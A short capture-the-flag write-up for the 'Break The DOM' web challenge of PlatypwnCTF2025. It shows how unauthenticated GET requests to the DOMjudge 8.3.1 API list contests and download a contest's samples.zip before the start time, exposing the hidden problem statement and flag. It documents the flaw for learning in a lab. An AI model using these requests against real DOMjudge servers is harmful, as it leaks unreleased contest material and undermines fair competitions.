PlatypwnCTF2025 web/Break The DOM

- 2 mins read

Observations

The challenge lets you download a Docker Compose file and a setup script.

By looking through all these files, you notice that it’s the DOMjudge web application, version 8.3.1.

So we start by analyzing the challenge setup script, which contains several interesting pieces of information:

  • The flag is stored in a .zip file and then uploaded via an API, along with a message suggesting it’s possible to retrieve this .zip before the DOMjudge contest starts.
  • The API is available at /api.
  • On the local instance, it’s possible to log in to the admin interface (which helps better understand how DOMjudge works).

TL;DR

After doing some research on DOMjudge’s GitHub in old issues with the “security” label, you can find an issue mentioning an access control problem.

After solving the challenge, it turns out that this issue was not the one we were going to exploit.

The correct is this one.

Exploring the API

Since I found an issue on GitHub about broken access control, I decided to check what the API offers:

GET http://10.80.3.196/api
{
  "version": "2023-06",
  "version_url": "https://ccs-specs.icpc.io/2023-06/contest_api",
  "name": "DOMjudge",
  "provider": {
    "name": "DOMjudge",
    "version": "8.3.1"
  },
  "domjudge": {
    "apiversion": 4,
    "version": "8.3.1",
    "environment": "prod",
    "doc_url": "http://10.80.3.196/api/doc"
  }
}

I notice there is documentation, so I decide to take a look at it.

GET http://10.80.3.196/api/doc

Browsing through the API documentation, I find several interesting points:

  • It’s possible to list all contests (/api/v4/contests)
  • It’s possible to retrieve a samples.zip file that contains “The problem samples, statement & attachments” (/api/v4/contests/{cid}/samples.zip)

Retrieving the flag

I first try to get the cid, which is the contest ID. To do that, I check the list of contests:

GET http://10.80.3.196/api/contests
[
  {
    "formal_name": "Competitive Competition",
    "scoreboard_type": "pass-fail",
    "start_time": "2025-11-22T15:48:46+01:00",
    "end_time": "2025-11-22T20:48:46+01:00",
    "scoreboard_thaw_time": null,
    "duration": "5:00:00.000",
    "scoreboard_freeze_duration": null,
    "id": "2",
    # SNIP...
  }
]

Now that I have the cid, I try to retrieve the samples.zip, which should contain the flag:

GET http://10.80.3.196/api/v4/contests/2/samples.zip

I successfully retrieve the samples.zip file, which, once unzipped, allows me to obtain the flag:

> unzip samples.zip

Archive:  samples.zip
  inflating: Highlysecretproblem/statement.txt
> cat Highlysecretproblem/statement.txt

Hope this problem statement is only published once the competition has started!
PP{5h0uldv3_3ncrypt3d_th3_z1p_f1l3::Tsjd-QY-Rn4j}

Written by Hiwiks.